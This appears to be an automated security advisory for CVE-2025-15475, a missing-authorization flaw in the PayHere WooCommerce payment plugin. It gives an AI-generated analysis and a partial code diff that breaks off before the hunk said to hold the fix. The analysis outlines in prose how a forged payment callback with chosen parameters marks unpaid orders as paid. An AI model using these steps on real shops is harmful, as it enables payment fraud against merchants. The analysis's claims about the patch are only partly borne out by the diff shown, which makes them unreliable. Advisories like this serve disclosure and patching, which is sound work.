Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15475: PayHere Payment Gateway Plugin for WooCommerce <= 2.3.9 – Missing Authorization to Unauthenticated Order Status Modification (payhere-payment-gateway)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.3.9
Patched Version 2.4.0
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15475:
The PayHere Payment Gateway Plugin for WooCommerce contains a missing authorization vulnerability in its payment callback handler. This allows unauthenticated attackers to modify the status of pending WooCommerce orders to paid, completed, or on-hold states. The vulnerability has a CVSS score of 5.3 (Medium severity).

Atomic Edge research identifies the root cause in the `check_payhere_response` function within the `class-wcgatewaypayhere.php` file. The function processes payment notifications from the PayHere service. The vulnerable code, located at lines 124-130 in the patched version, previously lacked proper validation of the `md5sig` parameter. This parameter is a cryptographic signature that should verify the authenticity of the callback. The function also failed to verify that the request originated from the legitimate PayHere service before updating order status.

Exploitation involves sending a crafted HTTP POST request to the WooCommerce payment notification endpoint. Attackers target the `wc-api/WC_Gateway_PayHere` endpoint. The payload includes standard payment notification parameters: `order_id`, `merchant_id`, `payhere_amount`, `payhere_currency`, `status_code` (set to `2` for success), and a forged `md5sig` signature. By manipulating these parameters, an attacker can trigger the plugin’s order status update logic without valid payment verification.

The patch addresses the vulnerability by implementing proper signature validation before processing order updates. The fix modifies the `check_payhere_response` function to verify the `md5sig` parameter against a computed hash using the merchant’s secret key. The validation occurs at line 130 in the patched version with the condition `if ($md5sig === $local_md5sig)`. This ensures only legitimate PayHere callbacks can modify order statuses. Additional sanitization was added to parameter retrieval using `FILTER_SANITIZE_SPECIAL_CHARS`.

Successful exploitation allows attackers to mark unpaid orders as completed, potentially enabling fraud where customers receive goods without payment. Attackers could also manipulate inventory counts and disrupt business operations. The vulnerability does not require authentication or special privileges, making it accessible to any external attacker who can send HTTP requests to the WooCommerce instance.

Differential between vulnerable and patched code

Code Diff
--- a/payhere-payment-gateway/admin/class-payhere-custom-admin-settings-type.php
+++ b/payhere-payment-gateway/admin/class-payhere-custom-admin-settings-type.php
@@ -100,6 +100,7 @@
          */

         wp_enqueue_style($this->pay_here, plugin_dir_url(__FILE__) . 'css/payhere-ipg-admin.css', array(), $this->version, 'all');
+        wp_enqueue_style($this->pay_here, plugin_dir_url(__FILE__) . 'css/payhere-customer-list-settings.css', array(), $this->version, 'all');
     }


@@ -131,29 +132,29 @@

         $value = $this->get_option($key);
         // if(empty($value)){
-        //     $value = "https://payherestorage.blob.core.windows.net/payhere-resources/plugins/payhere_long_banner.png";
+        //     $value = esc_url(plugin_dir_url(__FILE__) . 'public/images/payhere_long_banner.png');
         // }
         ob_start();
 ?>
         <tr valign="top">
             <th scope="row" class="titledesc">
                 <label for="<?php echo esc_attr($field_key); ?>">
-                    <?php echo wp_kses_post($data['title']); ?> <?php echo $this->get_tooltip_html($data); // WPCS: XSS ok.
+                    <?php echo wp_kses_post($data['title']); ?> <?php echo esc_attr($this->get_tooltip_html($data)); // WPCS: XSS ok.
                                                                 ?>
                 </label>
             </th>
             <td class="forminp forminp-<?php echo esc_attr($data['type']) ?>" id="image-selection-wrapper">
-                <input type="text" name="<?php echo esc_attr($field_key); ?>" id="<?php echo esc_attr($field_key); ?>" value="<?php echo $value ?>">
-                <img src="<?php echo !empty($value) ? $value : ''; ?>" style="display: block;width:400px">
+                <input type="text" name="<?php echo esc_attr($field_key); ?>" id="<?php echo esc_attr($field_key); ?>" value="<?php echo esc_attr($value) ?>">
+                <img src="<?php echo !empty(esc_url($value)) ? esc_url($value) : ''; ?>" style="display: block; width:400px">
                 <p class="controls">
                     <button class="button-primary add-media" type="button">
-                        <?php esc_html_e('Add Logo', 'text-domain'); ?>
+                        <?php esc_html_e('Add Logo', 'payhere-payment-gateway'); ?>
                     </button>
                     <button class="button-secondary remove-media" type="button">
-                        <?php esc_html_e('Remove Logo', 'text-domain'); ?>
+                        <?php esc_html_e('Remove Logo', 'payhere-payment-gateway'); ?>
                     </button>
                     <button class="button-secondary set-default" type="button">
-                        <?php esc_html_e('Set Default', 'text-domain');?>
+                        <?php esc_html_e('Set Default', 'payhere-payment-gateway');?>
                     </button>
                 </p>
             </td>
@@ -186,5 +187,8 @@

         wp_enqueue_media();
         wp_enqueue_script($this->pay_here . '-image-section', plugin_dir_url(__FILE__) . 'js/payhere-ipg-admin-image-selection.js', array('jquery'), $this->version, false);
+        wp_localize_script($this->pay_here . '-image-section', 'payhereData', array(
+            'ph_banner_url' => esc_url(PAYHERE_PLUGIN_URL . 'public/images/payhere_long_banner.png')
+        ));
     }
 }
--- a/payhere-payment-gateway/admin/class-payhereadmin.php
+++ b/payhere-payment-gateway/admin/class-payhereadmin.php
@@ -1,4 +1,5 @@
 <?php
+
 /**
  * The admin-specific functionality of the plugin.
  *
@@ -19,7 +20,8 @@
  * @subpackage PayHere/admin
  * @author     Dilshan Jayasanka <dilshan@payhere.lk>
  */
-class PayHereAdmin {
+class PayHereAdmin
+{

 	/**
 	 * The ID of this plugin.
@@ -55,7 +57,8 @@
 	 * @param string $version The version of this plugin.
 	 * @since    2.0.0
 	 */
-	public function __construct( $pay_here, $version ) {
+	public function __construct($pay_here, $version)
+	{

 		$this->pay_here = $pay_here;
 		$this->version  = $version;
@@ -66,7 +69,8 @@
 	 *
 	 * @since    2.0.0
 	 */
-	public function enqueue_styles() {
+	public function enqueue_styles()
+	{

 		/**
 		 * This function is provided for demonstration purposes only.
@@ -80,7 +84,8 @@
 		 * class.
 		 */

-		wp_enqueue_style( $this->pay_here, plugin_dir_url( __FILE__ ) . 'css/payhere-ipg-admin.css', array(), $this->version, 'all' );
+		wp_enqueue_style($this->pay_here, plugin_dir_url(__FILE__) . 'css/payhere-ipg-admin.css', array(), $this->version, 'all');
+		wp_enqueue_style($this->pay_here, plugin_dir_url(__FILE__) . 'css/payhere-customer-list-settings.css', array(), $this->version, 'all');
 	}


@@ -93,11 +98,12 @@
 	 * @param string $plugin_file name of plugin index file name.
 	 * @return string Html contnet for anchor tag
 	 */
-	public function add_action_links( $actions, $plugin_file ) {
-		$plugin = plugin_basename( plugin_dir_path( __FILE__ ) );
-		if ( ( explode( '/', $plugin )[0] ) === ( explode( '/', $plugin_file )[0] ) ) {
-			$settings = array( 'settings' => sprintf( '<a href="admin.php?page=wc-settings&tab=checkout&section=wc_gateway_payhere">%s</a>', 'Settings' ) );
-			$actions  = array_merge( $settings, $actions );
+	public function add_action_links($actions, $plugin_file)
+	{
+		$plugin = plugin_basename(plugin_dir_path(__FILE__));
+		if ((explode('/', $plugin)[0]) === (explode('/', $plugin_file)[0])) {
+			$settings = array('settings' => sprintf('<a href="admin.php?page=wc-settings&tab=checkout&section=wc_gateway_payhere">%s</a>', 'Settings'));
+			$actions  = array_merge($settings, $actions);
 		}

 		return $actions;
@@ -109,31 +115,41 @@
 	 *
 	 * @description  Load the PayHere Gateway class files
 	 */
-	public function init_gateway_files() {
-		if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ), true ) ) {
-
-			require_once plugin_dir_path( dirname( __FILE__ ) ) . 'gateway/class-gatewayutilities.php';
-			require_once plugin_dir_path( dirname( __FILE__ ) ) . 'gateway/class-payhereorderutilities.php';
-			require_once plugin_dir_path( dirname( __FILE__ ) ) . 'gateway/class-payheretoken.php';
-			require_once plugin_dir_path( dirname( __FILE__ ) ) . 'gateway/class-payherecapturepayment.php';
-			require_once plugin_dir_path( dirname( __FILE__ ) ) . 'gateway/class-chargepayment.php';
-			require_once plugin_dir_path( dirname( __FILE__ ) ) . 'gateway/class-wcgatewaypayhere.php';
+	public function init_gateway_files()
+	{
+		if (! function_exists('is_plugin_active')) {
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}
+
+		if (is_plugin_active('woocommerce/woocommerce.php')) {

-			require_once plugin_dir_path(dirname(__FILE__)) . 'admin/class-payhere-custom-admin-settings-type.php';
+			$base_path = plugin_dir_path(dirname(__FILE__));
+
+			require_once $base_path . 'gateway/class-gatewayutilities.php';
+			require_once $base_path . 'gateway/class-payhereorderutilities.php';
+			require_once $base_path . 'gateway/class-payheretoken.php';
+			require_once $base_path . 'gateway/class-payherecapturepayment.php';
+			require_once $base_path . 'gateway/class-chargepayment.php';
+			require_once $base_path . 'gateway/class-wcgatewaypayhere.php';
+
+			require_once $base_path . 'admin/class-payhere-custom-admin-settings-type.php';
 		}
 	}

+
 	/**
 	 * Ajax charge PayHere payment
 	 */
-	public function add_charge_ajax() {
+	public function add_charge_ajax()
+	{
 		$gate_way = new WCGatewayPayHere();
 		$gate_way->charge_payment();
 	}
 	/**
 	 * Ajax capture authorized PayHere payment
 	 */
-	public function add_capture_ajax() {
+	public function add_capture_ajax()
+	{
 		$gate_way = new WCGatewayPayHere();
 		$gate_way->capture_payment();
 	}
@@ -144,7 +160,8 @@
 	 * @param string $methods Array of active payment gateways.
 	 * @return Returns the list of Payment Gateways.
 	 */
-	public function load_gateway( $methods ) {
+	public function load_gateway($methods)
+	{
 		$methods[] = 'WCGatewayPayHere';
 		return $methods;
 	}
@@ -152,14 +169,16 @@
 	/**
 	 * Load the customer list table options
 	 */
-	public function add_customer_list_menu() {
+	public function add_customer_list_menu()
+	{
 		PHCustomerListOptions::get_instance();
 	}

 	/**
 	 * Register Authorized By PayHere in WordPress Post Status Registry
 	 */
-	public function register_authorized_order_status() {
+	public function register_authorized_order_status()
+	{
 		register_post_status(
 			'wc-payhere-authorized',
 			array(
@@ -169,7 +188,7 @@
 				'show_in_admin_all_list'    => true,
 				'show_in_admin_status_list' => true,
 				/* translators: 1: count of the hold on cards. */
-				'label_count'               => _n_noop( 'Authorized by PayHere (%s)', 'Authorized by PayHere (%s)', 'payhere' ),
+				'label_count'               => _n_noop('Authorized by PayHere (%s)', 'Authorized by PayHere (%s)', 'payhere-payment-gateway'),
 			)
 		);
 	}
@@ -180,7 +199,8 @@
 	 * @param string $order_statuses Array of active woocommerce order statuses.
 	 * @return List of Order Status
 	 */
-	public function register_authorized_order_statuses( $order_statuses ) {
+	public function register_authorized_order_statuses($order_statuses)
+	{
 		$order_statuses['wc-phauthorized'] = array(
 			'label'                     => 'Authorized by PayHere',
 			'public'                    => true,
@@ -188,7 +208,7 @@
 			'show_in_admin_all_list'    => true,
 			'show_in_admin_status_list' => true,
 			/* translators: 1: count of the hold on cards. */
-			'label_count'               => _n_noop( 'Authorized by PayHere (%s)', 'Authorized by PayHere (%s)', 'payhere' ),
+			'label_count'               => _n_noop('Authorized by PayHere (%s)', 'Authorized by PayHere (%s)', 'payhere-payment-gateway'),
 		);
 		return $order_statuses;
 	}
@@ -199,12 +219,13 @@
 	 * @param array $order_statuses Array of active woocommerce order statuses.
 	 * @return List of Order Status
 	 */
-	public function add_authorized_to_order_statuses( $order_statuses ) {
+	public function add_authorized_to_order_statuses($order_statuses)
+	{

 		$new_order_statuses = array();
-		foreach ( $order_statuses as $key => $status ) {
-			$new_order_statuses[ $key ] = $status;
-			if ( 'wc-processing' === $key ) {
+		foreach ($order_statuses as $key => $status) {
+			$new_order_statuses[$key] = $status;
+			if ('wc-processing' === $key) {
 				$new_order_statuses['wc-phauthorized'] = $this->authorizedby_pay_here;
 			}
 		}
@@ -218,8 +239,9 @@
 	 * @param string $status string for type of order status.
 	 * @param WC_Order $order WC_Order of the currenet order.
 	 */
-	public function allow_authorize_status_edit( $status, $order ) {
-		if ( ! $status && 'phauthorized' === $order->get_status() ) {
+	public function allow_authorize_status_edit($status, $order)
+	{
+		if (! $status && 'phauthorized' === $order->get_status()) {
 			return true;
 		}
 		return $status;
@@ -228,15 +250,16 @@
 	/**
 	 * Add Capture button to Woocommerce single order view
 	 */
-	public function add_order_metabox_to_order(string $post_type, $post) {
+	public function add_order_metabox_to_order(string $post_type, $post)
+	{

-		if ( $post && ('shop_order' === $post_type || 'woocommerce_page_wc-orders' === $post_type )) {
-			$order = wc_get_order( get_the_ID($post) );
-			if ( $order && 'payhere' === $order->get_payment_method() ) {
+		if ($post && ('shop_order' === $post_type || 'woocommerce_page_wc-orders' === $post_type)) {
+			$order = wc_get_order(get_the_ID($post));
+			if ($order && 'payhere' === $order->get_payment_method()) {
 				add_meta_box(
-					'payhere',
-					'<span style="display: flex"><img style="margin-right: 5px" src="https://www.payhere.lk/images/favicon.png" height="20" />  <span>PayHere Payments</span></span> ',
-					array( $this, 'payhere_order_auth_capture_content' ),
+					'payhere-payment-gateway',
+					'<span style="display: flex"><img style="margin-right: 5px" src="' . esc_url(PAYHERE_PLUGIN_URL . 'admin/images/favicon.png') . '" height="20" /> <span>PayHere Payments</span></span>',
+					array($this, 'payhere_order_auth_capture_content'),
 					$post_type,
 					'normal',
 					'high',
@@ -249,8 +272,9 @@
 	/**
 	 * Include capture modal content
 	 */
-	public function payhere_order_auth_capture_content() {
-		require_once plugin_dir_path( dirname( __FILE__ ) ) . 'admin/partials/order-auth-payment.php';
+	public function payhere_order_auth_capture_content($wc_auth_order)
+	{
+		require_once plugin_dir_path(dirname(__FILE__)) . 'admin/partials/order-auth-payment.php';
 	}


@@ -259,7 +283,8 @@
 	 *
 	 * @since    2.0.0
 	 */
-	public function enqueue_scripts() {
+	public function enqueue_scripts()
+	{

 		/**
 		 * This function is provided for demonstration purposes only.
@@ -273,6 +298,6 @@
 		 * class.
 		 */

-		wp_enqueue_script( $this->pay_here, plugin_dir_url( __FILE__ ) . 'js/payhere-ipg-admin.js', array( 'jquery' ), $this->version, false );
+		wp_enqueue_script($this->pay_here, plugin_dir_url(__FILE__) . 'js/payhere-ipg-admin.js', array('jquery'), $this->version, false);
 	}
 }
--- a/payhere-payment-gateway/admin/partials/order-auth-payment.php
+++ b/payhere-payment-gateway/admin/partials/order-auth-payment.php
@@ -11,12 +11,16 @@
  * @subpackage PayHere/admin
  */

-global $post;
-$_order = wc_get_order( get_the_ID($post) );
-$payhere_authorize_token  = $_order->get_meta('payhere_auth_token', true) ? $_order->get_meta('payhere_auth_token', true) : '';
-$payhere_authorize_amount = $_order->get_meta('payhere_auth_amount', true) ? $_order->get_meta('payhere_auth_amount', true) : '';
-$payhere_acpture_amount   = $_order->get_meta('payhere_acpture_amount', true) ? $_order->get_meta('payhere_auth_amount', true) : '';
-$payhere_capture_date     = $_order->get_meta('payhere_acpture_date', true) ? $_order->get_meta('payhere_acpture_date', true) : '';
+if (!defined('ABSPATH')) {
+    exit;
+}
+
+$payhere_order_id                = $wc_auth_order->get_id();
+$payhere_order                   = wc_get_order($payhere_order_id);
+$payhere_authorize_token  = $payhere_order->get_meta('payhere_auth_token', true) ? $payhere_order->get_meta('payhere_auth_token', true) : '';
+$payhere_authorize_amount = $payhere_order->get_meta('payhere_auth_amount', true) ? $payhere_order->get_meta('payhere_auth_amount', true) : '';
+$payhere_acpture_amount   = $payhere_order->get_meta('payhere_acpture_amount', true) ? $payhere_order->get_meta('payhere_auth_amount', true) : '';
+$payhere_capture_date     = $payhere_order->get_meta('payhere_acpture_date', true) ? $payhere_order->get_meta('payhere_acpture_date', true) : '';
 add_thickbox();

 wp_enqueue_script('payhere-capture', plugins_url('js/payhere-admin-capture.js', __DIR__), array('jquery'), '2.0.0', true);
@@ -27,18 +31,18 @@
 		'admin_ajax'       => admin_url('admin-ajax.php'),
 		'capture_token'    => $payhere_authorize_token,
 		'authorize_amount' => $payhere_authorize_amount,
-		'order_id'         => $_order->get_id(),
+		'order_id'         => $payhere_order->get_id(),
 	)
 );

-$order_amount = $_order->get_total();
-if ('' !== $payhere_authorize_token && in_array($_order->get_status(), array('phauthorized', 'processing'), true)) {
-	if ('phauthorized' === $_order->get_status()) {
+$payhere_order_amount = $payhere_order->get_total();
+if ('' !== $payhere_authorize_token && in_array($payhere_order->get_status(), array('phauthorized', 'processing'), true)) {
+	if ('phauthorized' === $payhere_order->get_status()) {
 ?>
 		<div class="payhere-data-wrapper">
 			<div class="payhere-data-row">
 				<div>Payment Status :</div>
-				<div><?php echo '' !== $payhere_authorize_token ? esc_html(__('Authorised', 'payhere')) : ''; ?></div>
+				<div><?php echo '' !== $payhere_authorize_token ? esc_html(__('Authorised', 'payhere-payment-gateway')) : ''; ?></div>
 			</div>
 			<div class="payhere-data-row">
 				<div>Authorized Amount :</div>
@@ -62,10 +66,10 @@
 				<div class="payhere-data-row">
 					<div>Amount to capture</div>
 					<div>
-						<div class="input-wrapper"><span><?php echo esc_html($_order->get_currency()); ?></span><input
+						<div class="input-wrapper"><span><?php echo esc_html($payhere_order->get_currency()); ?></span><input
 								id="payhere-capture-amount" type="number"
 								max="<?php echo esc_attr($payhere_authorize_amount); ?>"
-								value="<?php echo esc_attr($order_amount >= $payhere_authorize_amount ? $payhere_authorize_amount : $order_amount); ?>" />
+								value="<?php echo esc_attr($payhere_order_amount >= $payhere_authorize_amount ? $payhere_authorize_amount : $payhere_order_amount); ?>" />
 						</div>
 						<span id="info-div"></span>
 					</div>
@@ -90,7 +94,7 @@
 				<div>Payment Status :</div>
 				<div>
 					<?php
-					switch ($_order->get_status()) {
+					switch ($payhere_order->get_status()) {
 						case 'processing':
 						case 'completed':
 							echo 'Payment Complete';
@@ -99,7 +103,7 @@
 							echo 'Payment Pending';
 							break;
 						default:
-							echo ucfirst($_order->get_status());
+							echo esc_html(ucfirst($payhere_order->get_status()));
 							break;
 					}
 					?>
@@ -124,7 +128,7 @@
 			<div>Payment Status :</div>
 			<div>
 				<?php
-				switch ($_order->get_status()) {
+				switch ($payhere_order->get_status()) {
 					case 'processing':
 					case 'completed':
 						echo 'Payment Complete';
@@ -133,7 +137,7 @@
 						echo 'Payment Pending';
 						break;
 					default:
-						echo ucfirst($_order->get_status());
+						echo esc_html(ucfirst($payhere_order->get_status()));
 						break;
 				}
 				?>
--- a/payhere-payment-gateway/block/class-payhere-block-loader.php
+++ b/payhere-payment-gateway/block/class-payhere-block-loader.php
@@ -10,11 +10,14 @@
  * @subpackage PayHere/gateway
  */

+if (!defined('ABSPATH')) {
+    exit;
+}

 /**
  * Custom function to declare compatibility with cart_checkout_blocks feature
  */
-function ph_declare_cart_checkout_blocks_compatibility()
+function payhere_declare_cart_checkout_blocks_compatibility()
 {
     // Check if the required class exists
     if (class_exists('AutomatticWooCommerceUtilitiesFeaturesUtil')) {
@@ -23,13 +26,13 @@
     }
 }
 // Hook the custom function to the 'before_woocommerce_init' action
-add_action('before_woocommerce_init', 'ph_declare_cart_checkout_blocks_compatibility');
+add_action('before_woocommerce_init', 'payhere_declare_cart_checkout_blocks_compatibility');


 /**
  * Custom function to register a payment method type.
  */
-function ph_register_order_approval_payment_method_type()
+function payhere_register_order_approval_payment_method_type()
 {
     // Check if the required class exists
     if (!class_exists('AutomatticWooCommerceBlocksPaymentsIntegrationsAbstractPaymentMethodType')) {
@@ -49,4 +52,4 @@
 }

 // Hook the custom function to the 'woocommerce_blocks_loaded' action
-add_action('woocommerce_blocks_loaded', 'ph_register_order_approval_payment_method_type');
 No newline at end of file
+add_action('woocommerce_blocks_loaded', 'payhere_register_order_approval_payment_method_type');
 No newline at end of file
--- a/payhere-payment-gateway/gateway/class-chargepayment.php
+++ b/payhere-payment-gateway/gateway/class-chargepayment.php
@@ -100,7 +100,7 @@
 				$order->get_total()
 			);

-			$this->gateway_util->payhere_log( 'charge_response', json_encode($_charge_response) );
+			$this->gateway_util->payhere_log( 'charge_response', wp_json_encode($_charge_response) );
 			$charge_response = json_decode( $_charge_response['body'] );

 			if ( '1' === strval($charge_response->status) ) {
--- a/payhere-payment-gateway/gateway/class-gatewayutilities.php
+++ b/payhere-payment-gateway/gateway/class-gatewayutilities.php
@@ -35,125 +35,124 @@
 	{
 		return array(
 			'seperator'         => array(
-				'title'       => __('General Settings', 'payhere'),
+				'title'       => __('General Settings', 'payhere-payment-gateway'),
 				'description' => '',
 				'type'        => 'title',
 			),
 			// Activate the Gateway.
 			'enabled'           => array(
-				'title'       => __('Enable/Disable', 'payhere'),
+				'title'       => __('Enable/Disable', 'payhere-payment-gateway'),
 				'type'        => 'checkbox',
-				'label'       => __('Enable PayHere', 'payhere'),
+				'label'       => __('Enable PayHere', 'payhere-payment-gateway'),
 				'default'     => 'yes',
 				'description' => 'Show in the Payment List as a payment option',
 				'desc_tip'    => true,
 			),
 			// Title as displayed on Frontend.
 			'title'             => array(
-				'title'       => __('Title', 'payhere'),
+				'title'       => __('Title', 'payhere-payment-gateway'),
 				'type'        => 'text',
-				'default'     => __('PayHere', 'payhere'),
-				'description' => __('This controls the title which the user sees during checkout.', 'payhere'),
+				'default'     => __('PayHere', 'payhere-payment-gateway'),
+				'description' => __('This controls the title which the user sees during checkout.', 'payhere-payment-gateway'),
 				'desc_tip'    => true,
 			),
 			// Description as displayed on Frontend.
 			'description'       => array(
-				'title'       => __('Description:', 'payhere'),
+				'title'       => __('Description:', 'payhere-payment-gateway'),
 				'type'        => 'textarea',
-				'default'     => __('Pay by Visa, MasterCard, AMEX, eZcash, mCash or Internet Banking via PayHere.', 'payhere'),
-				'description' => __('This controls the description which the user sees during checkout.', 'payhere'),
+				'default'     => __('Pay by Visa, MasterCard, AMEX, eZcash, mCash or Internet Banking via PayHere.', 'payhere-payment-gateway'),
+				'description' => __('This controls the description which the user sees during checkout.', 'payhere-payment-gateway'),
 				'desc_tip'    => true,
 			),
 			// LIVE Key-ID.
 			'merchant_id'        => array(
-				'title'       => __('Merchant ID', 'payhere'),
+				'title'       => __('Merchant ID', 'payhere-payment-gateway'),
 				'type'        => 'text',
-				'description' => __('Your PayHere Merchant ID'),
+				'description' => __('Your PayHere Merchant ID','payhere-payment-gateway'),
 				'desc_tip'    => true,
 			),
 			// LIVE Key-Secret.
 			'secret'            => array(
-				'title'       => __('Secret Key', 'payhere'),
+				'title'       => __('Secret Key', 'payhere-payment-gateway'),
 				'type'        => 'text',
-				'description' => __('Secret word you set in your PayHere Account'),
+				'description' => __('Secret word you set in your PayHere Account', 'payhere-payment-gateway'),
 				'desc_tip'    => true,
 			),
 			// Mode of Transaction.
 			'test_mode'         => array(
-				'title'       => __('Sandbox Mode', 'payhere'),
+				'title'       => __('Sandbox Mode', 'payhere-payment-gateway'),
 				'type'        => 'checkbox',
-				'label'       => __('Enable Sandbox Mode', 'payhere'),
+				'label'       => __('Enable Sandbox Mode', 'payhere-payment-gateway'),
 				'default'     => 'yes',
-				'description' => __('PayHere sandbox can be used to test payments', 'payhere'),
+				'description' => __('PayHere sandbox can be used to test payments', 'payhere-payment-gateway'),
 				'desc_tip'    => true,
 			),
 			// Onsite checkout.
 			'onsite_checkout'   => array(
-				'title'       => __('Onsite Checkout', 'payhere'),
+				'title'       => __('Onsite Checkout', 'payhere-payment-gateway'),
 				'type'        => 'checkbox',
-				'label'       => __('Enable On-site Checkout', 'payhere'),
+				'label'       => __('Enable On-site Checkout', 'payhere-payment-gateway'),
 				'default'     => 'no',
-				'description' => __('Enable to let customers checkout with PayHere without leaving your site', 'payhere'),
+				'description' => __('Enable to let customers checkout with PayHere without leaving your site', 'payhere-payment-gateway'),
 				'desc_tip'    => true,
 			),
 			// Banner Image.
 			'banner_image'   => array(
-				'title'       => __('Gateway Image', 'payhere'),
+				'title'       => __('Gateway Image', 'payhere-payment-gateway'),
 				'type'        => 'image_selection',
-				'label'       => __('Upload Gateway Image', 'payhere'),
-				'default'     => 'https://payherestorage.blob.core.windows.net/payhere-resources/plugins/payhere_long_banner.png',
-				'description' => __('Enable to let customers checkout with PayHere without leaving your site', 'payhere'),
+				'label'       => __('Upload Gateway Image', 'payhere-payment-gateway'),
+				'default'     => esc_url(PAYHERE_PLUGIN_URL . 'public/images/payhere_long_banner.png'),
 				'desc_tip'    => true,
 			),
 			// Page for Redirecting after Transaction.
 			'redirect_page'      => array(
-				'title'       => __('Return Page'),
+				'title'       => __('Return Page', 'payhere-payment-gateway'),
 				'type'        => 'select',
 				'options'     => $this->payhere_get_pages('Select Page'),
-				'description' => __('Page to redirect the customer after payment', 'payhere'),
+				'description' => __('Page to redirect the customer after payment', 'payhere-payment-gateway'),
 				'desc_tip'    => true,
 			),
 			'payment_action'    => array(
-				'title'       => __('Payment Action', 'payhere'),
+				'title'       => __('Payment Action', 'payhere-payment-gateway'),
 				'type'        => 'select',
 				'class'       => 'wc-enhanced-select',
-				'description' => __('Choose whether you wish to capture funds immediately or authorize payment and capture later.<br/><br/>To setup Authorize mode with your PayHere Live Account, contact PayHere Support on <a href="tel:+94115339339">+94 115 339 339</a> on email <a href="mailto:support@payhere.lk">support@payhere.lk</a>. Our team will be of assistance.', 'payhere'),
+				'description' => __('Choose whether you wish to capture funds immediately or authorize payment and capture later.<br/><br/>To setup Authorize mode with your PayHere Live Account, contact PayHere Support on <a href="tel:+94115339339">+94 115 339 339</a> on email <a href="mailto:support@payhere.lk">support@payhere.lk</a>. Our team will be of assistance.', 'payhere-payment-gateway'),
 				'default'     => 'sale',
 				'desc_tip'    => false,
 				'options'     => array(
-					'sale'          => __('Sale', 'payhere'),
-					'authorization' => __('Authorize', 'payhere'),
+					'sale'          => __('Sale', 'payhere-payment-gateway'),
+					'authorization' => __('Authorize', 'payhere-payment-gateway'),
 				),
 			),
 			'seperator_2'       => array(
-				'title'       => __('Recurring Payments', 'payhere'),
-				'description' => __('You will only need below credentials if you have subscriptions or Charging API available.', 'payhere'),
+				'title'       => __('Recurring Payments', 'payhere-payment-gateway'),
+				'description' => __('You will only need below credentials if you have subscriptions or Charging API available.', 'payhere-payment-gateway'),
 				'type'        => 'title',
 			),
 			// Business App ID.
 			'enable_tokenizer'  => array(
-				'title'       => __('Enable Tokenizer', 'payhere'),
+				'title'       => __('Enable Tokenizer', 'payhere-payment-gateway'),
 				'type'        => 'checkbox',
-				'description' => __('If Enabled, Customers can pay with their saved cards. <a target="_blank" href="https://support.payhere.lk/api-&-mobile-sdk/payhere-charging">More Info</a>'),
+				'description' => __('If Enabled, Customers can pay with their saved cards.','payhere-payment-gateway'),
 				'desc_tip'    => false,
 			), // Business App ID.
 			'app_id'            => array(
-				'title'       => __('App ID', 'payhere'),
+				'title'       => __('App ID', 'payhere-payment-gateway'),
 				'type'        => 'text',
-				'description' => __('Your PayHere Business App ID <a target="_blank" href="https://support.payhere.lk/api-&-mobile-sdk/payhere-subscription#1-create-a-business-app">More Info</a>'),
+				'description' => __('Your PayHere Business App ID','payhere-payment-gateway'),
 				'desc_tip'    => false,
 			), // Business App Secret.
 			'app_secret'        => array(
-				'title'       => __('App Secret', 'payhere'),
+				'title'       => __('App Secret', 'payhere-payment-gateway'),
 				'type'        => 'text',
-				'description' => __('Your PayHere Business App Secret'),
+				'description' => __('Your PayHere Business App Secret.','payhere-payment-gateway'),
 				'desc_tip'    => true,
 			),
 			'subscription_warn' => array(
-				'title'       => 'ⓘ Important!!',
+				'title'       => __('ⓘ Important!!','payhere-payment-gateway'),
 				'type'        => 'info_box',
 				'box_type'    => 'info',
-				'description' => "PayHere doesn't support Renewals,Switching and Synchronisation for Subscriptions.Please do not enable above features in Woocommerce Subscription Plugin settings if the plugin installed and active.",
+				'description' => __("PayHere doesn't support Renewals,Switching and Synchronisation for Subscriptions.Please do not enable above features in Woocommerce Subscription Plugin settings if the plugin installed and active.",'payhere-payment-gateway'),
 				'desc_tip'    => true,
 			),
 		);
@@ -291,12 +290,12 @@
 	{
 		$verified = true;

-		$order_id         = sanitize_text_field(filter_input(INPUT_POST, 'order_id')); //changed from [payhere_amount] to [order_id] from version 2.3.7
-		$merchant_id      = sanitize_text_field(filter_input(INPUT_POST, 'merchant_id'));
-		$payhere_amount   = sanitize_text_field(filter_input(INPUT_POST, 'payhere_amount'));
-		$md5sig           = sanitize_text_field(filter_input(INPUT_POST, 'md5sig'));
-		$payhere_currency = sanitize_text_field(filter_input(INPUT_POST, 'payhere_currency'));
-		$status_code      = sanitize_text_field(filter_input(INPUT_POST, 'status_code'));
+		$order_id         = sanitize_text_field(filter_input(INPUT_POST, 'order_id', FILTER_SANITIZE_SPECIAL_CHARS)); //changed from [payhere_amount] to [order_id] from version 2.3.7
+		$merchant_id      = sanitize_text_field(filter_input(INPUT_POST, 'merchant_id', FILTER_SANITIZE_SPECIAL_CHARS));
+		$payhere_amount   = sanitize_text_field(filter_input(INPUT_POST, 'payhere_amount', FILTER_SANITIZE_SPECIAL_CHARS));
+		$md5sig           = sanitize_text_field(filter_input(INPUT_POST, 'md5sig', FILTER_SANITIZE_SPECIAL_CHARS));
+		$payhere_currency = sanitize_text_field(filter_input(INPUT_POST, 'payhere_currency', FILTER_SANITIZE_SPECIAL_CHARS));
+		$status_code      = sanitize_text_field(filter_input(INPUT_POST, 'status_code', FILTER_SANITIZE_SPECIAL_CHARS));

 		$verification_required = apply_filters('payhere_filter_verification_required', true, $order_id, $merchant_id);
 		if ($verification_required) {
--- a/payhere-payment-gateway/gateway/class-payhereorderutilities.php
+++ b/payhere-payment-gateway/gateway/class-payhereorderutilities.php
@@ -119,7 +119,7 @@
 				$discount_amount = $post['payhere_amount'] - $post['captured_amount'];

 				$item = new WC_Order_Item_Fee();
-				$item->set_name(__('PayHere Payment Gateway Discount', 'payhere'));
+				$item->set_name(__('PayHere Payment Gateway Discount', 'payhere-payment-gateway'));
 				$item->set_amount(-$discount_amount);
 				$item->set_total(-$discount_amount);
 				$this->order->add_item($item);
--- a/payhere-payment-gateway/gateway/class-wcgatewaypayhere.php
+++ b/payhere-payment-gateway/gateway/class-wcgatewaypayhere.php
@@ -17,6 +17,11 @@
  * @subpackage PayHere/gateway
  * @author     Dilshan Jayasanka <dilshan@payhere.lk>
  */
+
+if (!defined('ABSPATH')) {
+    exit;
+}
+
 class WCGatewayPayHere extends WC_Payment_Gateway
 {

@@ -283,14 +288,14 @@
